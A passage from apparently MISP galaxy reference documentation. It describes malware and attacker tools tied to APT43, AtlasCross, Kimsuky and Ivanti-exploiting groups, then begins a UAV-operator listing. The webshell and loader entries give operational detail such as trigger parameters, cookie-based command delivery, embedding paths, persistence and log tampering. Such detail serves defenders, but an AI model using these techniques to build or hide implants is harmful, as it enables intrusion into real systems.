- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24792. Table References

Links

https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

GOLDDRAGON

GOLDDRAGON is a downloader written in C that retrieves a payload from a remote server via HTTP. The downloaded payload is written to disk and executed. GOLDDRAGON also extracts a payload from a Hangul Word Processor document and writes it to a startup directory. As a result, the new file is executed when the current user logs in. Availability: Non-public

The tag is: *misp-galaxy:tool="GOLDDRAGON"*

GOLDDRAGON is also known as:

- GOLDDRAGON.POWERSHELL

View relationships graph

GOLDDRAGON has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="GoldDragon" with estimative-language:likelihood-probability="likely"

Table 24793. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

EGGHATCH

EGGHATCH is a C/C++ Windows downloader. It uses mshta.exe to download and execute a script. Availability: Non-public

The tag is: *misp-galaxy:tool="EGGHATCH"*

View relationships graph

EGGHATCH has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24794. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

GOLDDROP

GOLDDROP is a C/C++ Windows dropper. It decrypts a resource file, saves it to the file system, and injects it into another process. Availability: Non-public

The tag is: *misp-galaxy:tool="GOLDDROP"*

View relationships graph

GOLDDROP has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24795. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

GOLDSMELT

GOLDSMELT is a C/C++ utility used to close the rundll32.exe process and delete a file likely used for logs. Availability: Non-public

The tag is: *misp-galaxy:tool="GOLDSMELT"*

View relationships graph

GOLDSMELT has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24796. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

Invoke-Mimikatz

Invoke-Mimikatz is PowerShell script that reflectively loads a Mimikatz credential-stealing DLL into memory. Availability: Public

The tag is: *misp-galaxy:tool="Invoke-Mimikatz"*

View relationships graph

Invoke-Mimikatz has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-

probability="likely"

- uses: misp-galaxy:tool="Mimikatz" with estimative-language:likelihood-probability="likely"

Table 24797. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

JURASSICSHELL

JURASSICSHELL is a PHP file management web shell that allows the actor to download and upload files. Availability: Non-public

The tag is: *misp-galaxy:tool="JURASSICSHELL"*

View relationships graph

JURASSICSHELL has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24798. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

LANDMARK

LANDMARK is a C/C++ Windows launcher that loads and executes a file on disk stored as desktop.r5u. Availability: Non-public

The tag is: *misp-galaxy:tool="LANDMARK"*

LANDMARK is also known as:

- LANDMARK.NET

View relationships graph

LANDMARK has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24799. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

LATEOP

LATEOP is a datamine VisualBasic script that can enumerate a variety of characteristics of a target system as well as execute additional arbitrary VisualBasic content. Some deployments of LATEOP have led to the download and execution of the PASSMARK credential theft payload. In contrast, somedeployments of LATEOP.v2 have originated from BENCHMARK sourced infections. Availability: Non-public

The tag is: *misp-galaxy:tool="LATEOP"*

LATEOP is also known as:

- LATEOP.V2

View relationships graph

LATEOP has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24800. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

LONEJOGGER

LONEJOGGER is a downloader/dropper which has been observed targeting cryptocurrency services (including exchanges and investment companies), and uses a .lnk shortcut to download guardrailed HTML Application payloads. Availability: Non-public

The tag is: *misp-galaxy:tool="LONEJOGGER"*

View relationships graph

LONEJOGGER has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24801. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

PASSMARK

PASSMARK is a credential harvester that steals usernames and passwords from web browsers and email applications. PASSMARK is likely derived from the tool PassView. Availability: Public

The tag is: *misp-galaxy:tool="PASSMARK"*

View relationships graph

PASSMARK has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24802. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

PENCILDOWN

PENCILDOWN is a C/C++ Windows based downloader. PENCILDOWN collects basic system information and sends it to the C2 server before receiving the next stage. The next stage is then loaded in memory or executed directly based off a flag in the response. Availability: Non-public

The tag is: *misp-galaxy:tool="PENCILDOWN"*

PENCILDOWN is also known as:

- PENCILDOWN.ANDROID

View relationships graph

PENCILDOWN has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24803. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

PENDOWN

PENDOWN is a downloader written in C++ that retrieves a payload via HTTP. The downloaded file is saved to disk and executed. Availability: Non-public

The tag is: *misp-galaxy:tool="PENDOWN"*

View relationships graph

PENDOWN has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24804. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

PUMPKINBAR

PUMPKINBAR is a C/C++ dropper. PUMPKINBAR can contain multiple payloads encoded and embedded within itself. The key to decode each payload is appended at the end of the PUMPKINBAR executable. The payloads are dropped to disk and executed. Availability: Non-public

The tag is: *misp-galaxy:tool="PUMPKINBAR"*

View relationships graph

PUMPKINBAR has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24805. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

SLIMCURL

SLIMCURL is a C/C++ downloader. It contains the next stage as a Base64 encoded Google Drive link. The next stage is downloaded using cURL. Availability: Non-public

The tag is: *misp-galaxy:tool="SLIMCURL"*

View relationships graph

SLIMCURL has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24806. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

SPICYTUNA

SPICYTUNA is a VBA downloader. It collects basic system information and is capable of downloading and executing additional stages. Availability: Non-public

The tag is: *misp-galaxy:tool="SPICYTUNA"*

View relationships graph

SPICYTUNA has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24807. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

SWEETDROP

SWEETDROP is a C/C++ Windows dropper. It drops an embedded binary resource to the file system and executes it. Availability: Non-public

The tag is: *misp-galaxy:tool="SWEETDROP"*

View relationships graph

SWEETDROP has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24808. Table References

Links
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

VENOMBITE

VENOMBITE is a C/C++ Windows downloader that has evolved from PENDOWN. It uses the same custom encoding routine, but the network functionality has been moved to an embedded executable. The downloaded file is loaded and executed in memory. Availability: Non-public

The tag is: *misp-galaxy:tool="VENOMBITE"*

View relationships graph

VENOMBITE has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 24809. Table References

Links

https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

DarkGate

First documented in 2018, DarkGate is a commodity loader with features that include the ability to download and execute files to memory, a Hidden Virtual Network Computing (HVNC) module, keylogging, information-stealing capabilities, and privilege escalation. DarkGate makes use of legitimate AutoIt files and typically runs multiple AutoIt scripts. New versions of DarkGate have been advertised on a Russian language eCrime forum since May 2023.

The tag is: *misp-galaxy:tool="DarkGate"*

DarkGate is also known as:

- Meh

Table 24810. Table References

Links
https://0xtoxin.github.io/threat%20breakdown/DarkGate-Camapign-Analysis/
https://www.aon.com/cyber-solutions/aon_cyber_labs/darkgate-keylogger-analysis-masterofnone/
https://securelist.com/emotet-darkgate-lokibot-crimeware-report/110286/
https://www.zerofox.com/blog/the-underground-economist-volume-3-issue-12/
https://decoded.avast.io/janrubin/meh-2-2/
https://decoded.avast.io/janrubin/complex-obfuscation-meh/
https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign

DangerAds

This is a loader Trojan used by AtlasCross in this activity. Its main function is to detect the host environment and execute a built-in shellcode in its own process, and then the shellcode loads and runs subsequent Trojan programs. DangerAds writes major malicious code to the .NET dll program's HelpText method, so it starts when an external program invokes Help from that dll program. It should be noted that the user name and local domain name of the host will be collected before the main malicious functions of DangerAds are executed, and subsequent codes will be executed only when one of these two names contains the keyword "danger" or "ads-wcf". Therefore, it can be judged that this attack is a targeted attack against the domain or user name containing "ads-wcf". The main body of DangerAds malicious code will determine the number of program version bits and selectively decrypt and execute an x86 or x64 shellcode. DangerAds uses multi-byte XOR for decryption, while shellcode is loaded directly in the process. In the shellcode stage, DangerAds uses a set of open-source scheme sRDI (https://github.com/monoxgas/sRDI/blob/master/shellcodeRDI/shellcodeRDI.c)) to load and execute DLL programs. The shellcode finally loads the attached DLL program at its tail and calls the export function EnumWinEvent. The DLL program loaded by this shellcode is the AtlasAgent Trojan developed by AtlasCross.

The tag is: *misp-galaxy:tool="DangerAds"*

View relationships graph

DangerAds has relationships with:

- used-by: misp-galaxy:threat-actor="AtlasCross" with estimative-language:likelihood-probability="likely"
- executes: misp-galaxy:tool="AtlasAgent" with estimative-language:likelihood-probability="likely"

Table 24811. Table References

Links
https://nsfocusglobal.com/warning-newly-discovered-apt-attacker-atlascross-exploits-red-cross-blood-drive-phishing-for-cyberattack/

AtlasAgent

AtlasAgent used in this attack activity is Trojan horse program developed by AtlasCross. The main functions of the Trojan are to obtain host information, process information, prevent opening of multi-programs, inject specified shellcode and download files from CnC servers. The Trojan communicates with the CnC through HTTP protocol, encrypts communication data using Base64 encoding after RC4 encryption, and encrypts key APIs using two encryption methods at the same time.

The tag is: *misp-galaxy:tool="AtlasAgent"*

View relationships graph

AtlasAgent has relationships with:

- used-by: misp-galaxy:threat-actor="AtlasCross" with estimative-language:likelihood-probability="likely"
- executed-by: misp-galaxy:tool="DangerAds" with estimative-language:likelihood-probability="likely"

Table 24812. Table References

Links
https://nsfocusglobal.com/warning-newly-discovered-apt-attacker-atlascross-exploits-red-cross-blood-drive-phishing-for-cyberattack/

RDP Wrapper

The tag is: *misp-galaxy:tool="RDP Wrapper"*

View relationships graph

RDP Wrapper has relationships with:

- used-by: misp-galaxy:threat-actor="Kimsuky" with estimative-language:likelihood-probability="likely"

Table 24813. Table References

Links
https://asec.ahnlab.com/en/57873/

TightVNC

open-source VNC tool

The tag is: *misp-galaxy:tool="TightVNC"*

View relationships graph

TightVNC has relationships with:

- used-by: misp-galaxy:threat-actor="Kimsuky" with estimative-language:likelihood-probability="likely"

Table 24814. Table References

Links
https://asec.ahnlab.com/en/57873/

RevClient

Malware

The tag is: *misp-galaxy:tool="RevClient"*

View relationships graph

RevClient has relationships with:

- used-by: misp-galaxy:threat-actor="Kimsuky" with estimative-language:likelihood-probability="likely"

Table 24815. Table References

Links
https://asec.ahnlab.com/en/57873/

Colibri Loader

Colibri Loader is a piece of malware that first appeared on underground forums in August 2021 and was advertised to “people who have large volumes of traffic and lack of time to work out the

material“. As it names suggests, it is meant to deliver and manage payloads onto infected computers.

The tag is: *misp-galaxy:tool="Colibri Loader"*

View relationships graph

Colibri Loader has relationships with:

- delivers: misp-galaxy:stealer="Mars Stealer" with estimative-language:likelihood-probability="very-likely"

Table 24816. Table References

Links
https://www.malwarebytes.com/blog/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique

BUSHWALK

A mitigation bypass technique was recently identified that led to the deployment of a custom webshell tracked as BUSHWALK. Successful exploitation would bypass the initial mitigation provided by Ivanti on Jan. 10, 2024. At this time, Mandiant assesses the mitigation bypass activity is highly targeted, limited, and is distinct from the post-advisory mass exploitation activity. BUSHWALK is written in Perl and is embedded into a legitimate CS file, querymanifest.cgi. BUSHWALK provides a threat actor the ability to execute arbitrary commands or write files to a server. BUSHWALK executes its malicious Perl function, validateVersion, if the web request platform parameter is SafariiOS. It uses Base64 and RC4 to decode and decrypt the threat actor’s payload in the web request’s command parameter.

The tag is: *misp-galaxy:tool="BUSHWALK"*

Table 24817. Table References

Links
https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation

LIGHTWIRE

The original LIGHTWIRE webshell sample contains a simpler obfuscation routine. It will initialize an RC4 object and then immediately use the RC4 object to decrypt the issued command./nMandiant has identified an additional variant of the LIGHTWIRE web shell that inserts itself into a legitimate component of the VPN gateway, compcheckresult.cgi./nThe new sample utilizes the same GET parameters as the original LIGHTWIRE sample./nThe new variant of LIGHTWIRE features a different obfuscation routine. It first assigns a string scalar variable to $useCompOnly. Next, it will use the Perl tr operator to transform the string using a character-by-character translation. The key is then Base64-decoded and used to RC4 decrypt the incoming request. Finally, the issued command is executed by calling eval.

The tag is: *misp-galaxy:tool="LIGHTWIRE"*

Table 24818. Table References

Links
https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation

CHAINLINE

CHAINLINE is a Python webshell backdoor that is embedded in a Ivanti Connect Secure Python package that enables arbitrary command execution./nCHAINLINE was identified in the CAV Python package in the following path: /home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/health.py. This is the same Python package modified to support the WIREFIRE web shell./nUnlike WIREFIRE, which modifies an existing file, CHAINLINE creates a new file called health.py, which is not a legitimate filename in the CAV Python package. The existence of this filename or an associated compiled Python cache file may indicate the presence of CHAINLINE./nUNC5221 registered a new API resource path to support the access of CHAINLINE at the REST endpoint /api/v1/cav/client/health. This was accomplished by importing the maliciously created Health API resource and then calling the add_resource() class method on the FLASK-RESTful Api object within /home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/*init*.py.

The tag is: *misp-galaxy:tool="CHAINLINE"*

Table 24819. Table References

Links
https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation

FRAMESTING

FRAMESTING is a Python webshell embedded in a Ivanti Connect Secure Python package that enables arbitrary command execution./nFRAMESTING was identified in the CAV Python package in the following path: /home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/category.py. Note that this is the same Python package modified to support the WIREFIRE and CHAINLINE web shells./nWhen installed, the threat actor can access FRAMESTING web shell at the REST endpoint /api/v1/cav/client/categories with a POST request. Note that the legitimate categories endpoint only accepts GET requests./nThe web shell employs two methods of accepting commands from an attacker. It first attempts to retrieve the command stored in the value of a cookie named DSID from the current HTTP request. If the cookie is not present or is not of the expected length, it will attempt to decompress zlib data within the request's POST data. Lastly, FRAMESTING will then pass the decrypted POST data into a Python exec() statement to dynamically execute additional Python code./nNote that DSID is also the name of a cookie used by Ivanti Connect Secure appliances for maintaining user VPN sessions. FRAMESTING likely uses the same cookie name to blend in with network traffic.

The tag is: *misp-galaxy:tool="FRAMESTING"*

Table 24820. Table References

Links
https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation

IMPACKET

IMPACKET is a Python library that allows for interaction with various network protocols. It is particularly effective in environments that rely on Active Directory and related Microsoft Windows network services.

The tag is: *misp-galaxy:tool="IMPACKET"*

Table 24821. Table References

Links
https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation

IODINE

IODINE is a network traffic tunneler that allows for tunneling of IPv4 traffic over DNS.

The tag is: *misp-galaxy:tool="IODINE"*

Table 24822. Table References

Links
https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation

ENUM4LINUX

ENUM4LINUX is a Linux Perl script for enumerating data from Windows and Samba hosts.

The tag is: *misp-galaxy:tool="ENUM4LINUX"*

Table 24823. Table References

Links
https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation

SPAWNANT

SPAWNANT is an installer that leverages a coreboot installer function to establish persistence for the SPAWNMOLE tunneler and SPAWNSNAIL backdoor. It hijacks a legitimate dspkginstall installer process and exports an sprintf function adding a malicious code to it before redirecting a flow back to vsnprintf.

The tag is: *misp-galaxy:tool="SPAWNANT"*

View relationships graph

SPAWNANT has relationships with:

- used-by: misp-galaxy:threat-actor="UNC5337" with estimative-language:likelihood-probability="likely"
- followed-by: misp-galaxy:tool="SPAWNMOLE" with estimative-language:likelihood-probability="likely"
- followed-by: misp-galaxy:backdoor="SPAWNSNAIL" with estimative-language:likelihood-probability="likely"

Table 24824. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-post-exploitation-lateral-movement

SPAWNMOLE

SPAWNMOLE is a tunneler that injects into the web process. It hijacks the accept function in the web process to monitor traffic and filter out malicious traffic originating from the attacker. The remainder of the benign traffic is passed unmodified to the legitimate web server functions. The malicious traffic is tunneled to a host provided by an attacker in the buffer. Mandiant assesses the attacker would most likely pass a local port where SPAWNSNAIL is operating to access the backdoor.

The tag is: *misp-galaxy:tool="SPAWNMOLE"*

View relationships graph

SPAWNMOLE has relationships with:

- used-by: misp-galaxy:threat-actor="UNC5337" with estimative-language:likelihood-probability="likely"
- preceded-by: misp-galaxy:tool="SPAWNANT" with estimative-language:likelihood-probability="likely"
- interacts-with: misp-galaxy:backdoor="SPAWNSNAIL" with estimative-language:likelihood-probability="likely"

Table 24825. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-post-exploitation-lateral-movement

SPAWNSLOTH

SPAWNSLOTH is a log tampering utility injected into the dslogserver process. It can disable logging and disable log forwarding to an external syslog server when the SPAWNSNAIL backdoor is operating.

The tag is: *misp-galaxy:tool="SPAWNSLOTH"*

View relationships graph

SPAWNSLOTH has relationships with:

- used-by: misp-galaxy:threat-actor="UNC5337" with estimative-language:likelihood-probability="likely"
- is-injected-by: misp-galaxy:backdoor="SPAWNSNAIL" with estimative-language:likelihood-probability="likely"
- communicates-with: misp-galaxy:backdoor="SPAWNSNAIL" with estimative-language:likelihood-probability="likely"

Table 24826. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-post-exploitation-lateral-movement

ROOTROT

ROOTROT is a web shell written in Perl embedded into a legitimate Connect Secure .ttc file located at /data/runtime/tmp/tt/setcookie.thtml.ttc by exploiting CVE-2023-46805 and CVE-2024-21887.

The tag is: *misp-galaxy:tool="ROOTROT"*

View relationships graph

ROOTROT has relationships with:

- is-deployed-by: misp-galaxy:threat-actor="UTA0178" with estimative-language:likelihood-probability="likely"

Table 24827. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-post-exploitation-lateral-movement

TONERJAM

TONERJAM is a launcher that decrypts and executes a shellcode payload, in this case PHANTOMNET, stored as an encrypted local file and decrypts it using an AES key derived from a SHA hash of the final 16 bytes of the encrypted payload. TONERJAM maintains persistence via the Run registry key or by hijacking COM objects depending on the permissions granted to it upon execution.

The tag is: *misp-galaxy:tool="TONERJAM"*

View relationships graph

TONERJAM has relationships with:

- is-deployed-by: misp-galaxy:threat-actor="UNC5330" with estimative-language:likelihood-probability="likely"
- executes: misp-galaxy:backdoor="PHANTOMNET" with estimative-language:likelihood-probability="likely"

Table 24828. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-post-exploitation-lateral-movement

GOST

A simple security tunnel written in Golang. Features: Listening on multiple ports, Multi-level forward proxy - proxy chain, Standard HTTP/HTTPS/HTTP2/SOCKS4(A)/SOCKS5 proxy protocols support, Probing resistance support for web proxy, Support multiple tunnel types, TLS encryption via negotiation support for SOCKS5 proxy, Tunnel UDP over TCP, TCP/UDP Transparent proxy, Local/remote TCP/UDP port forwarding, Shadowsocks protocol, SNI proxy, Permission control, Load balancing, Routing control, DNS resolver and proxy, TUN/TAP device

The tag is: *misp-galaxy:tool="GOST"*

GOST is also known as:

- GO Simple Tunnel

View relationships graph

GOST has relationships with:

- used-by: misp-galaxy:threat-actor="UNC5330" with estimative-language:likelihood-probability="likely"

Table 24829. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/ivanti-post-exploitation-lateral-movement
https://github.com/ginuerzh/gost/blob/master/README_en.md
https://v2.gost.run/en/
https://gost.run/en/

SLIVER

Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver’s implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.

The tag is: *misp-galaxy:tool="SLIVER"*

View relationships graph

SLIVER has relationships with:

- is-deployed-by : misp-galaxy:threat-actor="UNC5266" with estimative-language:likelihood-probability="likely"

Table 24830. Table References

Links
https://github.com/BishopFox/sliver
https://bishopfox.com/tools/sliver

Spyder

The tag is: *misp-galaxy:tool="Spyder"*

View relationships graph

Spyder has relationships with:

- used-by: misp-galaxy:threat-actor="Earth Lusca" with estimative-language:likelihood-probability="likely"

Table 24831. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spyder

FunnySwitch

The tag is: *misp-galaxy:tool="FunnySwitch"*

FunnySwitch is also known as:

- RouterGod

View relationships graph

FunnySwitch has relationships with:

- used-by: misp-galaxy:threat-actor="Earth Lusca" with estimative-language:likelihood-probability="likely"

Table 24832. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.funnyswitch

SprySOCKS

The tag is: *misp-galaxy:tool="SprySOCKS"*

View relationships graph

SprySOCKS has relationships with:

- used-by: misp-galaxy:threat-actor="Earth Lusca" with estimative-language:likelihood-probability="likely"

Table 24833. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.spry_socks

ResidentBat

A new spyware family used by Belarusian KGB. ResidentBat is bundled as a regular Android app in APK format.

The tag is: *misp-galaxy:tool="ResidentBat"*

Table 24834. Table References

Links
https://rsf.org/sites/default/files/medias/file/2025/12/report_0.pdf

UAVs/UCAVs

OSINT Database of Unmanned Combat Aerial Vehicle.

UAVs/UCAVs is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Paul Jung - Bilal Khan - Enes AYATA

Bayraktar TB2

MALE

The tag is: *misp-galaxy:uavs="Bayraktar TB2"*

View relationships graph

Bayraktar TB2 has relationships with:

- similar: misp-galaxy:country="albania" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="azerbaijan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="bangladesh" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="burkina faso" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="croatia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="djibouti" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ethiopia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="iraq" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="japan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="kenya" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="kosovo" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="kuwait" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="kyrgyzstan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="libya" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="maldives" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="mali" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="morocco" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="niger" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="nigeria" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="pakistan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="poland" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="qatar" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="romania" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="rwanda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="somalia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="togo" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="tunisia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:country="turkmenistan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united arab emirates" with estimative-language:likelihood-probability="likely"

Table 24835. Table References

Links
https://en.wikipedia.org/wiki/Bayraktar_TB2
https://baykartech.com/en/uav/bayraktar-tb2/
https://web.archive.org/web/20220818105940/https://baykartech.com/tr/haberler/baykar-3-adet-bayraktar-tb2-sihay-ukraynaya-hibe-ettigini-acklad/

Heron (Machatz-1)

MALE ISR UAV

The tag is: *misp-galaxy:uavs="Heron (Machatz-1)"*

View relationships graph

Heron (Machatz-1) has relationships with:

- similar: misp-galaxy:country="india" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"

Table 24836. Table References

Links
https://en.wikipedia.org/wiki/IAI_Heron
https://www.iai.co.il/p/tactical-heron

MQ-9 Reaper

The General Atomics MQ-9 Reaper is a MALE turboprop remotely piloted aircraft optimized for persistent ISR with the ability to deliver precision-guided weapons for strike, close air support, and interdiction. Operated by the U.S. and several European partners, it provides long-endurance armed overwatch, target acquisition, and battle damage assessment in permissive to semi-permissive airspace.

The tag is: *misp-galaxy:uavs="MQ-9 Reaper"*

View relationships graph

MQ-9 Reaper has relationships with:

- similar: misp-galaxy:country="belgium" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="italy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="netherlands" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="spain" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 24837. Table References

Links
https://en.wikipedia.org/wiki/MQ-9_Reaper
https://www.defense.gouv.fr/air/nos-aeronefs/nos-drones/mq-9-reaper

Hermes 450

Medium-sized tactical UAV

The tag is: *misp-galaxy:uavs="Hermes 450"*

View relationships graph

Hermes 450 has relationships with:

- similar: misp-galaxy:country="azerbaijan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="botswana" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="brazil" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="colombia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="georgia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="mexico" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="north macedonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="philippines" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="singapore" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:country="thailand" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="zambia" with estimative-language:likelihood-probability="likely"

Table 24838. Table References

Links
https://en.wikipedia.org/wiki/Elbit_Hermes_450
https://www.elbitsystems.com/autonomous/aerial/tactical-uas/hermes-450

elbit hermes 900

MALE UAV / ISTAR

The tag is: *misp-galaxy:uavs="elbit hermes 900"*

View relationships graph

elbit hermes 900 has relationships with:

- similar: misp-galaxy:country="azerbaijan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="brazil" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="canada" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="chile" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="colombia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="iceland" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="india" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="mexico" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="niue" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="philippines" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="serbia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="switzerland" with estimative-language:likelihood-probability="likely"

Table 24839. Table References

Links
https://en.wikipedia.org/wiki/Elbit_Hermes_900
https://www.elbitsystems.com/autonomous/maritime/maritime-patrol-uav/hermestm-900-maritime-patrol-uas

gids shahpar-iii

Next-generation Pakistani MALE UAV

The tag is: *misp-galaxy:uavs="gids shahpar-iii"*

View relationships graph

gids shahpar-iii has relationships with:

- similar: misp-galaxy:country="pakistan" with estimative-language:likelihood-probability="likely"

Table 24840. Table References

Links
https://www.quwa.org/2024/12/02/shahpar-iii/

ch-4 rainbow

MALE UAV (exported)

The tag is: *misp-galaxy:uavs="ch-4 rainbow"*

View relationships graph

ch-4 rainbow has relationships with:

